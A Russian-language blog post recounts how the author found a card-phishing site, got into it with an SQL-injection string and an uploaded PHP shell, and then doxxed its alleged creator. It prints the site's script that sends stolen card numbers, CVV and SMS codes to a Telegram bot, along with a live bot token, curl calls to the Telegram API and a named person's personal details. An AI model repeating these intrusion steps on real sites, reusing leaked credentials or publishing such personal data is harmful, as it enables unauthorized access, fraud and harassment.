Аннотация
Каждый из нас может стать жертвой злоумышленника, но иногда хищник и добыча меняются местами.
Это краткая история о том, как неумелое использовании технологий может привести к раскрытию личности. Статья будет полезна как юным хакерам, желающим получить «легкие деньги», так и тем, кто хочет их поймать.
Введение
Одним февральским вечерком я был занят поиском места для романтичного свидания со своей возлюбленной. Через какое-то время мое внимание привлек сайт milleniumfilm.ru, не доступный в настоящее время. Сайт предоставлял услуги аренды небольших кинозалов для частного просмотра. Красивые картинки, умеренные цены, есть онлайн поддержка, одно но: данные банковской карты предлагалось ввести на не защищенной странице этого же домена. Насторожившись, я написал в техподдержку сайта, и мошенники не заставили себя долго ждать — поняв, что я достаточно технически грамотен послали меня на 3 буквы. Конечно, мошенникам нет смысла тратить на меня время, но зачем так грубо? — В любой ситуации нужно оставаться Человеком.
С отзывами о сайтах такого же плана можно ознакомиться тут: zhaloba-online.ru. Некоторые из них даже до сих пор работают.
Взлом
Чувствуя вселенскую несправедливость, с целью установления личности злоумышленника и пресечения его деятельности, я принялся изучать сайт на предмет уязвимостей.
Скриншот![](https://habrastorage.org/r/w1560/webt/ph/5g/st/ph5gstqs_i7pfug3t7iv3ufftfi.png)
![](https://habrastorage.org/webt/ph/5g/st/ph5gstqs_i7pfug3t7iv3ufftfi.png)
1' or '1
дал мне доступ к настройкам сайта.
Скриншот.
Данный скриншот был сделан после атаки, потому имя пользователя такое говорящее.![](https://habrastorage.org/r/w1560/webt/cn/rl/tz/cnrltzrv9uysxvox8yem-ieezps.png)
![](https://habrastorage.org/webt/cn/rl/tz/cnrltzrv9uysxvox8yem-ieezps.png)
Сайт создателя данного творения Gelloiss.ru красовался на первой же странице. Особенно интересным оказался раздел «Банковские карты» — там отображались все введенные данные: фамилия и имя держателя карты, номер карты, срок действия, cvc2 и код подтверждения из смс.
Большой скриншот. Часть данных закрашена.![](https://habrastorage.org/r/w1560/webt/ig/7z/7g/ig7z7gvbpdrtabaf4t7g3iy4yi8.png)
![](https://habrastorage.org/webt/ig/7z/7g/ig7z7gvbpdrtabaf4t7g3iy4yi8.png)
Как это работает.
Получив реквизиты банковской карты, злоумышленник делает запрос на перевод средств с карты и перенаправляется платежной системой на страницу 3D-secure, где нужно ввести код из смс. Код приходит в смс на телефон жертвы, который вводит его в форме сайта. Получив код из смс, мошенник вводит его на странице 3D-secure подтверждая транзакцию. Вся эта схема требует неотлагательный действий самого мошенника, что наводит на мысль, что сайт должен быстро уведомлять о наличии жертвы.
На странице «Настройка фильмов» была достаточно простая форма для формирования тексто-графических блоков. Функция загрузки картинки не фильтровала контент загружаемых файлов, что навело на мысль о возможности залить php-shell. Шелл успешно залился в /images/, откуда я его скопировал в корень сайта под названием login.php. Получив доступ к консоли, я принялся изучать внутренности сайта.
Список файлов.![](https://habrastorage.org/r/w1560/webt/ve/_h/83/ve_h83fd_lvry3y5y6lzbo7qovq.png)
![](https://habrastorage.org/webt/ve/_h/83/ve_h83fd_lvry3y5y6lzbo7qovq.png)
Среди содержимого меня привлек файл telegram.php.
Код.
$ cat telegram.php
<?
function send_mess($text) {
$token = "626852480:AAFdn7L61QCMZEAVW7dsdnRGiLINp6d_pgs";
$mess = $text;
$chat = "-302359340";
/*return "<iframe style='width:500px; height:500px;' src='https://api.telegram.org/bot".$token."/sendMessage?chat_id=".$chat."&parse_mode=html&text=".$mess."'></iframe>";*/
file_get_contents("https://api.telegram.org/bot".$token."/sendMessage?chat_id=".$chat."&parse_mode=html&text=".$mess);
}
PHP скрипт содержал в себе токен телеграм-бота и отправлял сообщения в чат при вызове функции send_mess. Поискав по коду сайта стало ясно, что именно с помощью телеграм-бота злоумышленнику отправляются данные карт, смс код.
grep
./cart.php:22:send_mess("Имя клиента: ".$name."%0D%0AEmail: ".$email."%0D%0AТелефон: ".$phone."%0D%0AДата посещения: ".$date."%0D%0A"."Время: ".$time."%0D%0AГород: ".$city."%0D%0AСумма: ".$sum."%0D%0AСписок заказанных услуг: ".$services."%0D%0AIP: ".$ip."%0D%0AЗабанить: ".$link_ban_ip);
./pay/ms.php:21: send_mess("Сумма: ".$sum."%0D%0AИмя владельца карты: ".$name."%0D%0AНомер карты: ".$num."%0D%0AСрок годности, месяц: ".$month."%0D%0AГод: ".$year."%0D%0Acvv: ".$cvv);
Что ж, у нас есть токен телеграм-бота, chat_id, адрес создателя сайта на котором красуется skype «ura7887» и telegram «Gelloiss» (раньше telegram не был указан, потому для того чтобы убедиться что telegram-аккаунт принадлежит владельцу сайта я использовал наживку).
Скриншот с сайта gelloiss.ru![](https://habrastorage.org/r/w1560/webt/yu/iv/lg/yuivlgx0e9fcls_epatrvtaadpe.png)
![](https://habrastorage.org/webt/yu/iv/lg/yuivlgx0e9fcls_epatrvtaadpe.png)
Выясним, кто создал чат, в который бот отсылает сообщения.
curl
$ curl "https://api.telegram.org/bot626852480:AAFdn7L61QCMZEAVW7dsdnRGiLINp6d_pgs/getChatAdministrators?chat_id=-302359340"
{"ok":true,"result":[{"user":{"id":365019332,"is_bot":false,"first_name":"Iskr\u00e1","username":"Gelloiss","language_code":"ru"},"status":"creator"}]}
Как видно создатель чата имеет такой же username как и сайт создателя — «gelloiss».
Поиск
Помните: интернет ничего не забывает! Поиск по ключевым словам: «gelloiss», «ura7887», привел меня на страницу вконтакте Юрия Искры, где указан как сайт «Gelloiss.ru», так и skype «ura7887».
Скриншот.![](https://habrastorage.org/r/w1560/webt/fk/gl/qf/fkglqfdqrjuv06ks1arsegvwx7e.png)
![](https://habrastorage.org/webt/fk/gl/qf/fkglqfdqrjuv06ks1arsegvwx7e.png)
А вот тут: vk.com видно, что данным скайп логином Юрий пользовался еще 6 лет назад, когда ему было 14 лет.
Скриншот.![](https://habrastorage.org/r/w1560/webt/zo/mn/fy/zomnfypzrj29-ubsrabzsma2c7g.png)
![](https://habrastorage.org/webt/zo/mn/fy/zomnfypzrj29-ubsrabzsma2c7g.png)
А так же тут anime.anidub.com.
Скриншот.![](https://habrastorage.org/r/w1560/webt/a9/_w/qo/a9_wqoj1wquztwecuyrtsgiu-ng.png)
![](https://habrastorage.org/webt/a9/_w/qo/a9_wqoj1wquztwecuyrtsgiu-ng.png)
Так же можно найти сообщение на форуме хакеров blackhacker.ru, с предложением продажи фишингового сайта.
Скриншот.![](https://habrastorage.org/r/w1560/webt/1e/qz/n-/1eqzn-br1bchbeur5sr4ykhfwva.png)
![](https://habrastorage.org/webt/1e/qz/n-/1eqzn-br1bchbeur5sr4ykhfwva.png)
Проверка telegram
На момент начала истории, на сайте Gelloiss.ru не был указан логин telegram, потому мне нужно было связать владельца telegram-аккаунта с владельцем сайта или страницей вконтакте. Для этого я создал некий маркер, который владелец telegram-аккаунта должен будет разместить у себя.
shell
$ sha256sum <<< "i'm carder yuri iskra."
a4e0bb4a6d6a214cadd6f6fa96d91c1401d50f01a5cc157b2f56079400e24af8 -
Далее я написал в telegram и представившить потенциальным заказчиком предложил пройти проверку: попросил разместить маркер
Скриншот диалога telegram![](https://habrastorage.org/r/w1560/webt/gx/p9/wu/gxp9wug8tdxxoabg9m7parx_hn0.png)
![](https://habrastorage.org/r/w1560/webt/t3/vw/rv/t3vwrvksvn1q3twug3qauof7vgq.png)
![](https://habrastorage.org/r/w1560/webt/py/9n/__/py9n__l9ehvffmm1fufjd9cd-58.png)
![](https://habrastorage.org/webt/gx/p9/wu/gxp9wug8tdxxoabg9m7parx_hn0.png)
![](https://habrastorage.org/webt/t3/vw/rv/t3vwrvksvn1q3twug3qauof7vgq.png)
![](https://habrastorage.org/webt/py/9n/__/py9n__l9ehvffmm1fufjd9cd-58.png)
Заключение
Лично у меня не осталось сомнений, что страница вконтакте принадлежит злоумышленнику. На момент взлома сайта, в базе данных было не менее 100 различных номеров карт, а к моменту закрытия сайта еще +100.
В заключение давайте посмотрим, где учится наш «герой». Это легко определить посмотрев где учатся его «друзья по вузу» на странице вконтакте.
Большой скриншот![](https://habrastorage.org/r/w1560/webt/lz/dw/ww/lzdwwwjm-9xpfy_zp8wukey5tnq.png)
![](https://habrastorage.org/webt/lz/dw/ww/lzdwwwjm-9xpfy_zp8wukey5tnq.png)
Продолжение следует
Мне удалось получить доступ к сообщениям, которые отсылает бот. Масштабы бедствия поражают: за 3 месяца телеграм-бот отослал примерно 13 тысяч сообщений. Даже если предположить, что всего-лишь пятая часть полученных данных валидна, то список пострадавших превысит 2 тысячи человек. Хакер работает не один, а с сообщниками, которые завлекают клиентов и помогают с переводом средств. На данный момент злоумышленники получают паспортные данные, телефоны и номера карт с сайта moneyonline.world.
Update 2019-04-21: Поскольку пользователь gelloiss убеждает в комментариях, что не был в курсе, для каких целей сайт будет использоваться, привожу фрагмент дампа сообщений telegram:
Скрытый текст
Message(id=31, grouped_id=None, from_id=898775249, edit_date=None, message='Короче нужен сайт по «переводу карты на карту без комиссии» естесственно он должен высылать данные карты и код подтверждения мне', to_id=PeerUser(user_id=365019332), entities=[], fwd_from=None, views=None, media=None, post=False, media_unread=False, out=True, date=datetime.datetime(2019, 4, 19, 9, 36, 15, tzinfo=datetime.timezone.utc), silent=False, via_bot_id=None, post_author=None, reply_to_msg_id=None, from_scheduled=False, mentioned=False, reply_markup=None),
Message(id=33, grouped_id=None, from_id=365019332, edit_date=None, message='moneyonline.world/pay/?pay=123\nТипа этого?)) \nДанные в телегу приходят', to_id=PeerUser(user_id=898775249), entities=[MessageEntityUrl(offset=0, length=38)], fwd_from=None, views=None, media=MessageMediaWebPage(webpage=WebPage(id=8004451420650727228, hash=0, photo=None, description='MoneyOnline.com ‒ это платежная система для тех, кто зарабатывает в интернете. Электронный кошелек, прием платежей и вывод денег, денежные переводы. Мгновенная регистрация, выгодные комиссии.', embed_height=None, embed_width=None, document=None, embed_type=None, site_name='MoneyOnline', cached_page=None, url='https://moneyonline.world/pay/?pay=123', display_url='moneyonline.world/ru', duration=None, author=None, embed_url=None, title='MoneyOnline | Электронный кошелек, платежи, прием и вывод денежных средств', type='article')), post=False, media_unread=False, out=False, date=datetime.datetime(2019, 4, 19, 9, 37, 53, tzinfo=datetime.timezone.utc), silent=False, via_bot_id=None, post_author=None, reply_to_msg_id=None, from_scheduled=False, mentioned=False, reply_markup=None),
Message(id=33, grouped_id=None, from_id=365019332, edit_date=None, message='moneyonline.world/pay/?pay=123\nТипа этого?)) \nДанные в телегу приходят', to_id=PeerUser(user_id=898775249), entities=[MessageEntityUrl(offset=0, length=38)], fwd_from=None, views=None, media=MessageMediaWebPage(webpage=WebPage(id=8004451420650727228, hash=0, photo=None, description='MoneyOnline.com ‒ это платежная система для тех, кто зарабатывает в интернете. Электронный кошелек, прием платежей и вывод денег, денежные переводы. Мгновенная регистрация, выгодные комиссии.', embed_height=None, embed_width=None, document=None, embed_type=None, site_name='MoneyOnline', cached_page=None, url='https://moneyonline.world/pay/?pay=123', display_url='moneyonline.world/ru', duration=None, author=None, embed_url=None, title='MoneyOnline | Электронный кошелек, платежи, прием и вывод денежных средств', type='article')), post=False, media_unread=False, out=False, date=datetime.datetime(2019, 4, 19, 9, 37, 53, tzinfo=datetime.timezone.utc), silent=False, via_bot_id=None, post_author=None, reply_to_msg_id=None, from_scheduled=False, mentioned=False, reply_markup=None),